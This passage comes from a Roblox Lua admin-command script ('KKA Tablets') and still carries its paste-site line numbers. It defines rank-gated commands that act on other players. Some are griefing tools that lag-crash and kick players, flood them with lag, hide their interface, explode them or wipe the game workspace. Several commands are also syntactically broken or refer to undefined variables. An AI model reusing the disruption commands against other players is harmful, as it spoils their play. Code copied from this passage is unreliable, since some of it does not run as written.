| 12027 | end) | |
| 12028 | end) | |
| 12029 | Plrs.PlayerRemoving:connect(function(Plr) | |
| 12030 | wait(.1) | |
| 12031 | ypcall(function() | |
| 12032 | if Removed == false then | |
| 12033 | local LeftPlrName = Plr.Name | |
| 12034 | coroutine.resume(coroutine.create(function() | |
| 12035 | if Injected[LeftPlrName] ~= nil then | |
| 12036 | Injected[LeftPlrName] = nil | |
| 12037 | end | |
| 12038 | end)) | |
| 12039 | end | |
| 12040 | end) | |
| 12041 | end) | |
| 12042 | Command("Cmds", 1, "Shows the list of commands", function(Msg, Speaker)
| |
| 12043 | Dismiss(Speaker.Name) | |
| 12044 | Output("KKA Tablets made by Cobalt1164 | More credits in info/",Speaker,nil,nil,Database.Colors.Green)
| |
| 12045 | Output("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
| |
| 12046 | Output("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
| |
| 12047 | Output("Rank 0", Speaker, nil, function()
| |
| 12048 | if FindRank(Speaker) >= 0 then | |
| 12049 | OpenCmds(0, Speaker) | |
| 12050 | ||
| 12051 | end | |
| 12052 | end) | |
| 12053 | Output("Rank 1", Speaker, nil, function()
| |
| 12054 | if FindRank(Speaker) >= 1 then | |
| 12055 | OpenCmds(1, Speaker) | |
| 12056 | ||
| 12057 | end | |
| 12058 | end) | |
| 12059 | Output("Rank 2", Speaker, nil, function()
| |
| 12060 | if FindRank(Speaker) >= 2 then | |
| 12061 | OpenCmds(2, Speaker) | |
| 12062 | ||
| 12063 | end | |
| 12064 | end) | |
| 12065 | Output("Rank 3", Speaker, nil, function()
| |
| 12066 | if FindRank(Speaker) >= 3 then | |
| 12067 | OpenCmds(3, Speaker) | |
| 12068 | ||
| 12069 | end | |
| 12070 | end) | |
| 12071 | Output("Rank 4", Speaker, nil, function()
| |
| 12072 | if FindRank(Speaker) >= 4 then | |
| 12073 | OpenCmds(4, Speaker) | |
| 12074 | ||
| 12075 | end | |
| 12076 | end) | |
| 12077 | Output("Rank 5", Speaker, nil, function()
| |
| 12078 | if FindRank(Speaker) >= 5 then | |
| 12079 | OpenCmds(5, Speaker) | |
| 12080 | ||
| 12081 | end | |
| 12082 | end) | |
| 12083 | Output("Rank 6", Speaker, nil, function()
| |
| 12084 | if FindRank(Speaker) >= 6 then | |
| 12085 | OpenCmds(6, Speaker) | |
| 12086 | ||
| 12087 | end | |
| 12088 | end) | |
| 12089 | Output("Rank 7", Speaker, nil, function()
| |
| 12090 | if FindRank(Speaker) >= 7 then | |
| 12091 | OpenCmds(7, Speaker) | |
| 12092 | ||
| 12093 | end | |
| 12094 | end) | |
| 12095 | end) | |
| 12096 | ||
| 12097 | Command("Dtt", 1, "Dismiss someones Tablets" ,function(Msg, Speaker)
| |
| 12098 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12099 | if #PlrTab > 0 then | |
| 12100 | for _,v in pairs(PlrTab) do | |
| 12101 | ypcall(function() | |
| 12102 | Dismiss(v) | |
| 12103 | end) | |
| 12104 | end | |
| 12105 | end | |
| 12106 | end) | |
| 12107 | Command("Dall", 6, "Dismiss All Tablets" ,function(Msg, Speaker)
| |
| 12108 | Dismiss() | |
| 12109 | end) | |
| 12110 | Command("Dt", 1, "Dismiss your Tablets" ,function(Msg, Speaker)
| |
| 12111 | Dismiss(Speaker.Name) | |
| 12112 | end) | |
| 12113 | Command("btools", 3, "Gives a player Btools", function(Msg, Speaker)
| |
| 12114 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12115 | if #PlrTab > 0 then | |
| 12116 | for _,v in pairs(PlrTab) do | |
| 12117 | ypcall(function() | |
| 12118 | Instance.new("HopperBin", v.Backpack).BinType = "Hammer"
| |
| 12119 | Instance.new("HopperBin", v.Backpack).BinType = "Clone"
| |
| 12120 | Instance.new("HopperBin", v.Backpack).BinType = "Grab"
| |
| 12121 | Output("Gave "..v.Name.." Building Tools", Speaker, 5)
| |
| 12122 | end) | |
| 12123 | end | |
| 12124 | end | |
| 12125 | end) | |
| 12126 | Command("rlegs", 3, "Removes a player's legs",
| |
| 12127 | function(Msg, Speaker) | |
| 12128 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12129 | if #PlrTab > 0 then | |
| 12130 | for _,v in pairs(PlrTab) do | |
| 12131 | ypcall(function() | |
| 12132 | for plr in pairs(v.Character) do | |
| 12133 | if plr.Name == "Left Leg" or plr.Name == "Right Leg" then | |
| 12134 | plr:Remove() | |
| 12135 | Output("Removed "..v.Name.."'s legs", Speaker, 5)
| |
| 12136 | end | |
| 12137 | end | |
| 12138 | end) | |
| 12139 | end | |
| 12140 | end | |
| 12141 | end) | |
| 12142 | Command("rarms", 3, "Removes a player's arms",
| |
| 12143 | function(Msg, Speaker) | |
| 12144 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12145 | if #PlrTab > 0 then | |
| 12146 | for _,v in pairs(PlrTab) do | |
| 12147 | ypcall(function() | |
| 12148 | for plr in pairs(v.Character) do | |
| 12149 | if plr.Name == "Left Arm" or plr.Name == "Right Arm" then | |
| 12150 | plr:Remove() | |
| 12151 | Output("Removed "..v.Name.."'s arms", Speaker, 5)
| |
| 12152 | end | |
| 12153 | end | |
| 12154 | end) | |
| 12155 | end | |
| 12156 | end | |
| 12157 | end) | |
| 12158 | Command("Afrup", 1, "Asks admins for a rank up", function(Msg, Speaker)
| |
| 12159 | Output(Speaker.Name.." wants to be ranked up", Plrs:children(), 5) | |
| 12160 | end) | |
| 12161 | Command("Afb", 1, "Asks to battle", function(Msg, Speaker)
| |
| 12162 | Output(Speaker.Name.." wants to battle", Plrs:children(), 5) | |
| 12163 | end) | |
| 12164 | Command("Expl", 3, "Explodes a player",
| |
| 12165 | function(Msg, Speaker) | |
| 12166 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12167 | if #PlrTab > 0 then | |
| 12168 | for _,v in pairs(PlrTab) do | |
| 12169 | ypcall(function() | |
| 12170 | if v.Character and v.Character:findFirstChild("Head") then
| |
| 12171 | local e = Instance.new("Explosion")
| |
| 12172 | e.Position = v.Character.Head.Position | |
| 12173 | e.Parent = v.Character | |
| 12174 | Output("Exploded "..v.Name, Speaker, 5)
| |
| 12175 | end | |
| 12176 | end) | |
| 12177 | end | |
| 12178 | end | |
| 12179 | end) | |
| 12180 | Command("RModel", 7, "Rejoins a model", function(Msg, Speaker)
| |
| 12181 | game:service'TeleportService':Teleport(game.PlaceId,game.Workspace[Msg]) | |
| 12182 | end) | |
| 12183 | Command("Mute", 7, "Mutes a player", function(Msg, Speaker)
| |
| 12184 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12185 | if #PlrTab > 0 then | |
| 12186 | for _,v in pairs(PlrTab) do | |
| 12187 | ypcall(function() | |
| 12188 | if v.Name ~= Owner then | |
| 12189 | NewLS([[game:service'StarterGui':SetCoreGuiEnabled('All',false)]],v.Backpack)
| |
| 12190 | Output("Muted "..v.Name, Speaker, 5)
| |
| 12191 | end | |
| 12192 | end) | |
| 12193 | end | |
| 12194 | end | |
| 12195 | end) | |
| 12196 | Command("Rej", 5, "Rejoin a player", function(Msg, Speaker)
| |
| 12197 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12198 | if #PlrTab > 0 then | |
| 12199 | for _,v in pairs(PlrTab) do | |
| 12200 | ypcall(function() | |
| 12201 | game:service'TeleportService':Teleport(game.PlaceId,v.Character) | |
| 12202 | Output("Rejoined "..v.Name, Speaker, 5)
| |
| 12203 | end) | |
| 12204 | end | |
| 12205 | end | |
| 12206 | end) | |
| 12207 | Command("LagC", 6, "Lag crashes a player", function(Msg, Speaker)
| |
| 12208 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12209 | if #PlrTab > 0 then | |
| 12210 | for _,v in pairs(PlrTab) do | |
| 12211 | ypcall(function() | |
| 12212 | NewLS(LagSource, v.Backpack) | |
| 12213 | v:Kick() | |
| 12214 | Output("Lag Crashing "..v.Name, Speaker, 5)
| |
| 12215 | end) | |
| 12216 | end | |
| 12217 | end | |
| 12218 | end) | |
| 12219 | Command("Unmute", 3, "Unmutes a player", function(Msg, Speaker)
| |
| 12220 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12221 | if #PlrTab > 0 then | |
| 12222 | for _,v in pairs(PlrTab) do | |
| 12223 | ypcall(function() | |
| 12224 | NewLS([[game:service'StarterGui':SetCoreGuiEnabled('All',true)]],v.Backpack)
| |
| 12225 | Output("Unmuted "..v.Name, Speaker, 5)
| |
| 12226 | end) | |
| 12227 | end | |
| 12228 | end | |
| 12229 | end) | |
| 12230 | ||
| 12231 | Command("DisableS", 5, "Disables a script", function(Msg, Speaker)
| |
| 12232 | local Worked = false | |
| 12233 | for _,v in pairs(Work:GetChildren()) do | |
| 12234 | if string.find(v.Name:lower(), Msg:lower()) then | |
| 12235 | if v:IsA("Script") or v:IsA("LocalScript") then
| |
| 12236 | v.Disabled = true | |
| 12237 | v:Destroy() | |
| 12238 | Worked = true | |
| 12239 | Output("Disabled : "..v.Name, Speaker, 5)
| |
| 12240 | end | |
| 12241 | end | |
| 12242 | end | |
| 12243 | if Worked == false then | |
| 12244 | Output("Script False Found", Speaker, 5)
| |
| 12245 | end | |
| 12246 | end) | |
| 12247 | ||
| 12248 | Command("Los", 1, "Locates scripts in workspace", function(Msg, Speaker)
| |
| 12249 | Dismiss(Speaker) | |
| 12250 | local AllScripts = {}
| |
| 12251 | for _,v in pairs(Work:GetChildren()) do | |
| 12252 | if v:IsA("Script") then
| |
| 12253 | table.insert(AllScripts, v.Name) | |
| 12254 | end | |
| 12255 | end | |
| 12256 | if #AllScripts > 0 then | |
| 12257 | for _,v in pairs(AllScripts) do | |
| 12258 | Output(v, Speaker) | |
| 12259 | end | |
| 12260 | else | |
| 12261 | Output("No Scripts Found", Speaker, 5)
| |
| 12262 | end | |
| 12263 | end) | |
| 12264 | ||
| 12265 | Command("Afk",1,'Tells other players that your AFK',
| |
| 12266 | function(Msg,Speaker) | |
| 12267 | Dismiss(Speaker) | |
| 12268 | ||
| 12269 | ||
| 12270 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
| |
| 12271 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
| |
| 12272 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
| |
| 12273 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
| |
| 12274 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
| |
| 12275 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
| |
| 12276 | Output('Player is AFK',Speaker,nil,nil,Database.AdvancedColors.Random)
| |
| 12277 | ||
| 12278 | ||
| 12279 | ||
| 12280 | end) | |
| 12281 | Command("Back",1,'Tells other players that you have returned',
| |
| 12282 | function(Msg,Speaker) | |
| 12283 | Dismiss(Speaker) | |
| 12284 | for i = 1,8 do | |
| 12285 | Output('Welcome back!',Speaker,6)
| |
| 12286 | wait(.1) | |
| 12287 | end | |
| 12288 | end) | |
| 12289 | Command("Lss", 1, "Shows all local scripts", function(Msg, Speaker)
| |
| 12290 | Dismiss(Speaker) | |
| 12291 | local LocalScripts = {}
| |
| 12292 | for _,v in pairs(All()) do | |
| 12293 | ypcall(function() | |
| 12294 | for _,x in pairs(v.Character:GetChildren()) do | |
| 12295 | if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
| |
| 12296 | table.insert(LocalScripts, x.Name .. " - " .. v.Name) | |
| 12297 | end | |
| 12298 | end | |
| 12299 | end) | |
| 12300 | ypcall(function() | |
| 12301 | for _,x in pairs(v.Backpack:GetChildren()) do | |
| 12302 | if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
| |
| 12303 | table.insert(LocalScripts, x.Name .. " - " .. v.Name) | |
| 12304 | end | |
| 12305 | end | |
| 12306 | end) | |
| 12307 | ypcall(function() | |
| 12308 | for _,x in pairs(v.PlayerGui:GetChildren()) do | |
| 12309 | if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
| |
| 12310 | table.insert(LocalScripts, x.Name .. " - " .. v.Name) | |
| 12311 | end | |
| 12312 | end | |
| 12313 | end) | |
| 12314 | end | |
| 12315 | if #LocalScripts > 0 then | |
| 12316 | for _,v in pairs(LocalScripts) do | |
| 12317 | Output(v, Speaker) | |
| 12318 | end | |
| 12319 | else | |
| 12320 | Output("No Local Scripts Found", Speaker, 5)
| |
| 12321 | end | |
| 12322 | end) | |
| 12323 | Command("DisableLS", 5, "Disables a local script", function(Msg, Speaker)
| |
| 12324 | local Split = GetSplit(Msg) | |
| 12325 | local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1)) | |
| 12326 | local ScriptName = Msg:sub(Split + 1) | |
| 12327 | local FoundLocal = false | |
| 12328 | for _,name in pairs(PlrTab) do | |
| 12329 | ypcall(function() | |
| 12330 | for _,v in pairs(name.Character:GetChildren()) do | |
| 12331 | if string.find(v.Name:lower(), ScriptName) then | |
| 12332 | if v:IsA("Script") or v:IsA("LocalScript") then
| |
| 12333 | v.Disabled = true | |
| 12334 | v:Destroy() | |
| 12335 | FoundLocal = true | |
| 12336 | Output("Disabled Local Script: "..v.Name, Speaker, 5)
| |
| 12337 | end | |
| 12338 | end | |
| 12339 | end | |
| 12340 | end) | |
| 12341 | ypcall(function() | |
| 12342 | for _,v in pairs(name.Backpack:GetChildren()) do | |
| 12343 | if string.find(v.Name:lower(), ScriptName) then | |
| 12344 | if v:IsA("Script") or v:IsA("LocalScript") then
| |
| 12345 | v.Disabled = true | |
| 12346 | v:Destroy() | |
| 12347 | FoundLocal = true | |
| 12348 | Output("Disabled Local Script: "..v.Name, Speaker, 5)
| |
| 12349 | end | |
| 12350 | end | |
| 12351 | end | |
| 12352 | end) | |
| 12353 | ypcall(function() | |
| 12354 | for _,v in pairs(name.PlayerGui:GetChildren()) do | |
| 12355 | if string.find(v.Name:lower(), ScriptName) then | |
| 12356 | if v:IsA("Script") or v:IsA("LocalScript") then
| |
| 12357 | v.Disabled = true | |
| 12358 | v:Destroy() | |
| 12359 | FoundLocal = true | |
| 12360 | Output("Disabled Local Script: "..v.Name, Speaker, 5)
| |
| 12361 | end | |
| 12362 | end | |
| 12363 | end | |
| 12364 | end) | |
| 12365 | if FoundLocal == false then | |
| 12366 | Output("Local Script False Found", Speaker, 5)
| |
| 12367 | end | |
| 12368 | end | |
| 12369 | end) | |
| 12370 | Command("mClean", 5, "Mega Clean", function(Msg, Speaker)
| |
| 12371 | NewS([[ | |
| 12372 | for _,v in pairs(game.Workspace:GetChildren()) do | |
| 12373 | if v.Name ~= "Terrain" then | |
| 12374 | v:Destroy() | |
| 12375 | end | |
| 12376 | end | |
| 12377 | ]],game.Workspace) | |
| 12378 | a = Instance.new("Part")
| |
| 12379 | a.Parent = game.Workspace | |
| 12380 | a.Name = "Base" | |
| 12381 | a.Position = Vector3.new(0, 0.6, 0) | |
| 12382 | a.Size = Vector3.new(1002, 0, 1002) | |
| 12383 | a.Material = "Grass" | |
| 12384 | a.Anchored = true | |
| 12385 | a.BrickColor = BrickColor.new("Earth green")
| |
| 12386 | NewS([[ | |
| 12387 | for _,v in pairs(game.Players:GetChildren()) do | |
| 12388 | v:LoadCharacter() | |
| 12389 | end | |
| 12390 | ]], game.Workspace) | |
| 12391 | Output("Mega Cleaned.", Speaker, 5)
| |
| 12392 | end) | |
| 12393 | Command("Base", 3, "Creates a new base", function(Msg, Speaker)
| |
| 12394 | if game.Workspace:findFirstChild("Base") then
| |
| 12395 | game.Workspace.Base:Remove() | |
| 12396 | end | |
| 12397 | if game.Workspace:findFirstChild("Part") then
| |
| 12398 | game.Workspace.Part:Remove() | |
| 12399 | end | |
| 12400 | if game.Workspace:findFirstChild("Baseplate") then
| |
| 12401 | game.Workspace.Baseplate:Remove() | |
| 12402 | end | |
| 12403 | a = Instance.new("Part")
| |
| 12404 | a.Parent = game.Workspace | |
| 12405 | a.Name = "Base" | |
| 12406 | a.Position = Vector3.new(0, 0.6, 0) | |
| 12407 | a.Size = Vector3.new(1002, 0, 1002) | |
| 12408 | a.Material = "Grass" | |
| 12409 | a.Anchored = true | |
| 12410 | a.BrickColor = BrickColor.new("Earth green")
| |
| 12411 | Output("Successfully created a new base",Speaker)
| |
| 12412 | end) | |
| 12413 | Command("BallBase", 3, "Creates a new ball shaped base", function(Msg, Speaker)
| |
| 12414 | if game.Workspace:findFirstChild("Base") then
| |
| 12415 | game.Workspace.Base:Remove() | |
| 12416 | end | |
| 12417 | if game.Workspace:findFirstChild("Part") then
| |
| 12418 | game.Workspace.Part:Remove() | |
| 12419 | end | |
| 12420 | if game.Workspace:findFirstChild("Baseplate") then
| |
| 12421 | game.Workspace.Baseplate:Remove() | |
| 12422 | end | |
| 12423 | a = Instance.new("Part")
| |
| 12424 | a.Parent = game.Workspace | |
| 12425 | a.Name = "Base" | |
| 12426 | a.Shape = "Ball" | |
| 12427 | a.Position = Vector3.new(0, 0.6, 0) | |
| 12428 | a.Size = Vector3.new(1002, 0, 1002) | |
| 12429 | a.Material = "Grass" | |
| 12430 | a.Anchored = true | |
| 12431 | a.BrickColor = BrickColor.new("Dark green")
| |
| 12432 | Output("Successfully created a new ball shaped base",Speaker)
| |
| 12433 | end) | |
| 12434 | Command("Cl", 5, "Cleans the server", function(Msg, Speaker)
| |
| 12435 | for _,v in pairs(game.Workspace:children()) do | |
| 12436 | if v:IsA "Script" or v:IsA "LocalScript" or v:IsA "Message" or v:IsA "Hint" or v:IsA "Explosion" then | |
| 12437 | v:Remove() | |
| 12438 | end | |
| 12439 | Output("Lightly cleaned workspace", Speaker, 5)
| |
| 12440 | end | |
| 12441 | end) | |
| 12442 | Command("Priadd", 3, "Adds a player into the private servers list", function(Msg, Speaker)
| |
| 12443 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12444 | if #PlrTab > 0 then | |
| 12445 | for _,v in pairs(PlrTab) do | |
| 12446 | ypcall(function() | |
| 12447 | table.insert(PrivPlrs, v) | |
| 12448 | Output("Added "..v.Name.." into the Private Players list", Speaker, 5)
| |
| 12449 | end) | |
| 12450 | end | |
| 12451 | end | |
| 12452 | end) | |
| 12453 | Command("God", 3, "Makes a player immortal", function(Msg, Speaker)
| |
| 12454 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12455 | if #PlrTab > 0 then | |
| 12456 | for _,v in pairs(PlrTab) do | |
| 12457 | ypcall(function() | |
| 12458 | v.Character.Humanoid.MaxHealth = math.huge | |
| 12459 | Output("Godded "..v.Name, Speaker, 5)
| |
| 12460 | end) | |
| 12461 | end | |
| 12462 | end | |
| 12463 | end) | |
| 12464 | Command("Ungod", 3, "Makes a player mortal", function(Msg, Speaker)
| |
| 12465 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12466 | if #PlrTab > 0 then | |
| 12467 | for _,v in pairs(PlrTab) do | |
| 12468 | ypcall(function() | |
| 12469 | v.Character.Humanoid.Health = 100 | |
| 12470 | wait() | |
| 12471 | v.Character.Humanoid.MaxHealth = 100 | |
| 12472 | Output("Ungodded "..v.Name, Speaker, 5)
| |
| 12473 | end) | |
| 12474 | end | |
| 12475 | end | |
| 12476 | end) | |
| 12477 | ||
| 12478 | ||
| 12479 | Command("Lag", 7, "Lags a player", function(Msg, Speaker)
| |
| 12480 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12481 | if #PlrTab > 0 then | |
| 12482 | for _,v in pairs(PlrTab) do | |
| 12483 | ypcall(function() | |
| 12484 | v.CameraMode = "LockFirstPerson" | |
| 12485 | wait() | |
| 12486 | NewLS(LagSource, v.Backpack) | |
| 12487 | Output("Lagged "..v.Name.." badly", Speaker, 5)
| |
| 12488 | end) | |
| 12489 | end | |
| 12490 | end | |
| 12491 | end) | |
| 12492 | Command("DL", 7, "Makes a player lag very bad", function(Msg, Speaker)
| |
| 12493 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12494 | if #PlrTab > 0 then | |
| 12495 | for _,v in pairs(PlrTab) do | |
| 12496 | ypcall(function() | |
| 12497 | NewLS([[repeat Instance.new("Message"
| |
| 12498 | until, game.Players.LocalPlayer.PlayerGui). | |
| 12499 | Text = "Such Lag" | |
| 12500 | until | |
| 12501 | return]], v.Backpack) | |
| 12502 | end) | |
| 12503 | end | |
| 12504 | end | |
| 12505 | end) | |
| 12506 | Command("MiniP", 7, "Gives a player minipeep", function(Msg, Speaker)
| |
| 12507 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12508 | if #PlrTab > 0 then | |
| 12509 | for _,v in pairs(PlrTab) do | |
| 12510 | ypcall(function() | |
| 12511 | NewLS(MiniPeep, v.Backpack) | |
| 12512 | Output("Gave "..v.Name.." Mini-Peep", Speaker, 5)
| |
| 12513 | end) | |
| 12514 | end | |
| 12515 | end | |
| 12516 | end) | |
| 12517 | Command("ClrB", 7, "Clears a player's backpack", function(Msg, Speaker)
| |
| 12518 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12519 | if #PlrTab > 0 then | |
| 12520 | for _,v in pairs(PlrTab) do | |
| 12521 | ypcall(function() | |
| 12522 | v.Backpack:ClearAllChildren() | |
| 12523 | Output("Cleared "..v.Name.."'s backpack", Speaker, 5)
| |
| 12524 | end) | |
| 12525 | end | |
| 12526 | end | |
| 12527 | end) | |
| 12528 | Command("RemvB", 7, "Removes a player's backpack", function(Msg, Speaker)
| |
| 12529 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12530 | if #PlrTab > 0 then | |
| 12531 | for _,v in pairs(PlrTab) do | |
| 12532 | ypcall(function() | |
| 12533 | v.Backpack:Remove() | |
| 12534 | Output("Removed "..v.Name.."'s backpack", Speaker, 5)
| |
| 12535 | end) | |
| 12536 | end | |
| 12537 | end | |
| 12538 | end) | |
| 12539 | Command("Raven", 7, "Gives a player a raven", function(Msg, Speaker)
| |
| 12540 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12541 | if #PlrTab > 0 then | |
| 12542 | for _,v in pairs(PlrTab) do | |
| 12543 | ypcall(function() | |
| 12544 | NewLS(Raven, v.Backpack) | |
| 12545 | Output("Gave "..v.Name.." a raven", Speaker, 5)
| |
| 12546 | end) | |
| 12547 | end | |
| 12548 | end | |
| 12549 | end) | |
| 12550 | Command("Fly", 7, "Flies a player", function(Msg, Speaker)
| |
| 12551 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12552 | if #PlrTab > 0 then | |
| 12553 | for _,v in pairs(PlrTab) do | |
| 12554 | ypcall(function() | |
| 12555 | NewLS(Fly, v.Backpack) | |
| 12556 | Output("Press E to Fly!", v, 5)
| |
| 12557 | end) | |
| 12558 | end | |
| 12559 | end | |
| 12560 | end) | |
| 12561 | Command("Jail", 3, "Jails a player", function(Msg, Speaker)
| |
| 12562 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12563 | if #PlrTab > 0 then | |
| 12564 | for _,v in pairs(PlrTab) do | |
| 12565 | ypcall(function() | |
| 12566 | NewLS(JailSource, v.Backpack) | |
| 12567 | Output("Jailed"..v.Name.."", Speaker, 5)
| |
| 12568 | end) | |
| 12569 | end | |
| 12570 | end | |
| 12571 | end) | |
| 12572 | Command("Ghost", 2, "Ghostifys a player", function(Msg, Speaker)
| |
| 12573 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12574 | if #PlrTab > 0 then | |
| 12575 | for _,c in pairs(PlrTab) do | |
| 12576 | ypcall(function() | |
| 12577 | for c, pairs in (v.Character:children()) do | |
| 12578 | if c:IsA("Part") then
| |
| 12579 | c.Transparency = 0.5 | |
| 12580 | end | |
| 12581 | end | |
| 12582 | Output("Turned "..v.Name.." into a ghost", Speaker, 5)
| |
| 12583 | end) | |
| 12584 | end | |
| 12585 | end | |
| 12586 | end) | |
| 12587 | Command("Invisible", 3, "Makes a player invisible", function(Msg, Speaker)
| |
| 12588 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12589 | if #PlrTab > 0 then | |
| 12590 | for _,v in pairs(PlrTab) do | |
| 12591 | ypcall(function() | |
| 12592 | for _, c in pairs(v.Character:children()) do | |
| 12593 | if c:IsA("Part") then
| |
| 12594 | c.Transparency = 1 | |
| 12595 | ||
| 12596 | end | |
| 12597 | end | |
| 12598 | ||
| 12599 | Output("Disappeared "..v.Name, Speaker, 5)
| |
| 12600 | end) | |
| 12601 | end | |
| 12602 | end | |
| 12603 | end) | |
| 12604 | Command("Visible", 3, "Makes a player visible", function(Msg, Speaker)
| |
| 12605 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12606 | if #PlrTab > 0 then | |
| 12607 | for _,v in pairs(PlrTab) do | |
| 12608 | ypcall(function() | |
| 12609 | for _,c in pairs(v.Character:children()) do | |
| 12610 | if c:IsA("Part") then
| |
| 12611 | c.Transparency = 0 | |
| 12612 | end | |
| 12613 | end | |
| 12614 | Output("Showed "..v.Name, Speaker, 5)
| |
| 12615 | end) | |
| 12616 | end | |
| 12617 | end | |
| 12618 | end) | |
| 12619 | Command("Shine", 3, "Makes a player shiny", function(Msg, Speaker)
| |
| 12620 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12621 | if #PlrTab > 0 then | |
| 12622 | for _,v in pairs(PlrTab) do | |
| 12623 | ypcall(function() | |
| 12624 | for c, pairs in (v.Character:children()) do | |
| 12625 | if c:IsA("Part") then
| |
| 12626 | c.Reflectance = 1 | |
| 12627 | end | |
| 12628 | end | |
| 12629 | Output("Shinied "..v.Name, Speaker, 5)
| |
| 12630 | end) | |
| 12631 | end | |
| 12632 | end | |
| 12633 | end) | |
| 12634 | Command("Unshine", 3, "Makes a player unshiny", function(Msg, Speaker)
| |
| 12635 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12636 | if #PlrTab > 0 then | |
| 12637 | for _,v in pairs(PlrTab) do | |
| 12638 | ypcall(function() | |
| 12639 | for c, pairs in (v.Character:children()) do | |
| 12640 | if c:IsA("Part") then
| |
| 12641 | c.Reflectance = 0 | |
| 12642 | end | |
| 12643 | end | |
| 12644 | Output("Removed shininess from "..v.Name, Speaker, 5)
| |
| 12645 | end) | |
| 12646 | end | |
| 12647 | end | |
| 12648 | end) | |
| 12649 | Command("Noob", 3, "Turns a player into a noob", function(Msg, Speaker)
| |
| 12650 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12651 | if #PlrTab > 0 then | |
| 12652 | for _,v in pairs(PlrTab) do | |
| 12653 | ypcall(function() | |
| 12654 | NewLS(Noob, v.Backpack) | |
| 12655 | Output("Noobifyed "..v.Name, Speaker, 5)
| |
| 12656 | end) | |
| 12657 | end | |
| 12658 | end | |
| 12659 | end) | |
| 12660 | Command("RCLO", 3, "Removes a player's clothing", function(Msg, Speaker)
| |
| 12661 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12662 | if #PlrTab > 0 then | |
| 12663 | for _,v in pairs(PlrTab) do | |
| 12664 | ypcall(function() | |
| 12665 | for c, pairs in (v.Character:children()) do | |
| 12666 | if c:IsA("Shirt") then
| |
| 12667 | c:remove() | |
| 12668 | elseif c:IsA("Pants") then
| |
| 12669 | c:remove() | |
| 12670 | end | |
| 12671 | end | |
| 12672 | Output("Nkd "..v.Name, Speaker, 5)
| |
| 12673 | end) | |
| 12674 | end | |
| 12675 | end | |
| 12676 | end) | |
| 12677 | Command("RemoveSG", 6, "Removes a player's SB", function(Msg, Speaker)
| |
| 12678 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12679 | if #PlrTab > 0 then | |
| 12680 | for _,v in pairs(PlrTab) do | |
| 12681 | ypcall(function() | |
| 12682 | NewLS(DisSB, v.Backpack) | |
| 12683 | Output("Disabled "..v.Name.."'s SB", Speaker, 5)
| |
| 12684 | end) | |
| 12685 | end | |
| 12686 | end | |
| 12687 | end) | |
| 12688 | Command("Respawn", 3, "Respawns a player", function(Msg, Speaker)
| |
| 12689 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12690 | if #PlrTab > 0 then | |
| 12691 | for _,v in pairs(PlrTab) do | |
| 12692 | ypcall(function() | |
| 12693 | v:LoadCharacter() | |
| 12694 | Output("Respawned "..v.Name, Speaker, 5)
| |
| 12695 | end) | |
| 12696 | end | |
| 12697 | end | |
| 12698 | end) | |
| 12699 | Command("Home", 1, "Teleports the server home", function(Msg, Speaker)
| |
| 12700 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12701 | if #PlrTab > 0 then | |
| 12702 | for _,v in pairs(PlrTab) do | |
| 12703 | ypcall(function() | |
| 12704 | repeat wait() until v.Character:findFirstChild("Torso")
| |
| 12705 | if Work:findFirstChild("Base") then
| |
| 12706 | v.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0) | |
| 12707 | else | |
| 12708 | v.Character.Torso.CFrame = CFrame.new(0, 5, 0) | |
| 12709 | end | |
| 12710 | Output("Teleported "..v.Name.." Home", Speaker, 5)
| |
| 12711 | end) | |
| 12712 | end | |
| 12713 | end | |
| 12714 | end) | |
| 12715 | Command("Freeze", 3, "Makes a player frozen", function(Msg, Speaker)
| |
| 12716 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12717 | if #PlrTab > 0 then | |
| 12718 | for _,v in pairs(PlrTab) do | |
| 12719 | ypcall(function() | |
| 12720 | v.Character.Torso.Anchored = true | |
| 12721 | Output("Froze "..v.Name, Speaker, 5)
| |
| 12722 | end) | |
| 12723 | end | |
| 12724 | end | |
| 12725 | end) | |
| 12726 | Command("Thaw", 3, "Makes a player unfrozen", function(Msg, Speaker)
| |
| 12727 | local PlrTab = getPlayer(Speaker, Msg) | |
| 12728 | if #PlrTab > 0 then | |
